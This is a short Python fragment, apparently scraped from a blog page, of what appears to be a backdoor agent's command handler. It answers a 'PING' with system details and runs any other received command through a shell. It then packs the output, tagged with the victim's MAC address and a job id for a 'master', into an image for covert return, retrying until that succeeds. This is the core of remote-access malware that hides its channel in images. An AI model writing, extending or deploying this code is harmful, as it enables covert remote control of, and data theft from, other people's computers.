def run(self):
output = None
if (self.command == 'PING'):
output = platform.platform()
else:
try:
output = subprocess.check_output(self.command, shell=True, stdin=subprocess.PIPE, stderr=subprocess.STDOUT)
except:
print((colored('[-] Error executing the command' , 'yellow')))
output_command = CommandOutput(MAC_ADDRESS, 'master', output, self.jobid, self.command)
saveimg = ImageHandle()
# Trying to save image until True
saveimageOutput = False
while not (saveimageOutput):
saveimageOutput = saveimg.save(output_command.build(), self.jobid)
#------------------------------------------------------------------------------
# Class StdOutListener: listener to intercept messages
#------------------------------------------------------------------------------
评论列表
文章目录